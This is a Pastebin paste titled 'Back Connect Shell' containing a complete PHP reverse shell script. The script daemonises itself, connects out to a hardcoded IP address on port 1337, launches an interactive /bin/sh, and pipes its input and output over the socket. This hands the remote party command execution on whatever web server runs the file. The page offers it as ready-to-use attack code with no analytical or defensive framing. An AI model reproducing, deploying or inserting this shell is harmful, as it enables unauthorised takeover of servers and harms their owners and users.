SHARE
TWEET

Back Connect Shell

jackwilder Mar 8th, 2016 (edited) 122 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. set_time_limit (0);
  3. $VERSION = "1.0";
  4. $ip = '54.169.253.79';  // CHANGE THIS
  5. $port = 1337;       // CHANGE THIS
  6. $chunk_size = 1400;
  7. $write_a = null;
  8. $error_a = null;
  9. $shell = 'uname -a; w; id; /bin/sh -i';
  10. $daemon = 0;
  11. $debug = 0;
  12. if (function_exists('pcntl_fork')) {
  13.     // Fork and have the parent process exit
  14.     $pid = pcntl_fork();
  15.    
  16.     if ($pid == -1) {
  17.         printit("ERROR: Can't fork");
  18.         exit(1);
  19.     }
  20.    
  21.     if ($pid) {
  22.         exit(0);  // Parent exits
  23.     }
  24.  
  25.     // Make the current process a session leader
  26.     // Will only succeed if we forked
  27.     if (posix_setsid() == -1) {
  28.         printit("Error: Can't setsid()");
  29.         exit(1);
  30.     }
  31.  
  32.     $daemon = 1;
  33. } else {
  34.     printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  35. }
  36.  
  37. // Change to a safe directory
  38. chdir("/");
  39.  
  40. // Remove any umask we inherited
  41. umask(0);
  42.  
  43. //
  44. // Do the reverse shell...
  45. //
  46.  
  47. // Open reverse connection
  48. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  49. if (!$sock) {
  50.     printit("$errstr ($errno)");
  51.     exit(1);
  52. }
  53.  
  54. // Spawn shell process
  55. $descriptorspec = array(
  56.    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
  57.    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  58.    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  59. );
  60.  
  61. $process = proc_open($shell, $descriptorspec, $pipes);
  62.  
  63. if (!is_resource($process)) {
  64.     printit("ERROR: Can't spawn shell");
  65.     exit(1);
  66. }
  67.  
  68. // Set everything to non-blocking
  69. // Reason: Occsionally reads will block, even though stream_select tells us they won't
  70. stream_set_blocking($pipes[0], 0);
  71. stream_set_blocking($pipes[1], 0);
  72. stream_set_blocking($pipes[2], 0);
  73. stream_set_blocking($sock, 0);
  74.  
  75. printit("Successfully opened reverse shell to $ip:$port");
  76.  
  77. while (1) {
  78.     // Check for end of TCP connection
  79.     if (feof($sock)) {
  80.         printit("ERROR: Shell connection terminated");
  81.         break;
  82.     }
  83.  
  84.     // Check for end of STDOUT
  85.     if (feof($pipes[1])) {
  86.         printit("ERROR: Shell process terminated");
  87.         break;
  88.     }
  89.  
  90.     // Wait until a command is end down $sock, or some
  91.     // command output is available on STDOUT or STDERR
  92.     $read_a = array($sock, $pipes[1], $pipes[2]);
  93.     $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  94.  
  95.     // If we can read from the TCP socket, send
  96.     // data to process's STDIN
  97.     if (in_array($sock, $read_a)) {
  98.         if ($debug) printit("SOCK READ");
  99.         $input = fread($sock, $chunk_size);
  100.         if ($debug) printit("SOCK: $input");
  101.         fwrite($pipes[0], $input);
  102.     }
  103.  
  104.     // If we can read from the process's STDOUT
  105.     // send data down tcp connection
  106.     if (in_array($pipes[1], $read_a)) {
  107.         if ($debug) printit("STDOUT READ");
  108.         $input = fread($pipes[1], $chunk_size);
  109.         if ($debug) printit("STDOUT: $input");
  110.         fwrite($sock, $input);
  111.     }
  112.  
  113.     // If we can read from the process's STDERR
  114.     // send data down tcp connection
  115.     if (in_array($pipes[2], $read_a)) {
  116.         if ($debug) printit("STDERR READ");
  117.         $input = fread($pipes[2], $chunk_size);
  118.         if ($debug) printit("STDERR: $input");
  119.         fwrite($sock, $input);
  120.     }
  121. }
  122.  
  123. fclose($sock);
  124. fclose($pipes[0]);
  125. fclose($pipes[1]);
  126. fclose($pipes[2]);
  127. proc_close($process);
  128.  
  129. // Like print, but does nothing if we've daemonised ourself
  130. // (I can't figure out how to redirect STDOUT like a proper daemon)
  131. function printit ($string) {
  132.     if (!$daemon) {
  133.         print "$string\n";
  134.     }
  135. }
  136.  
  137. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top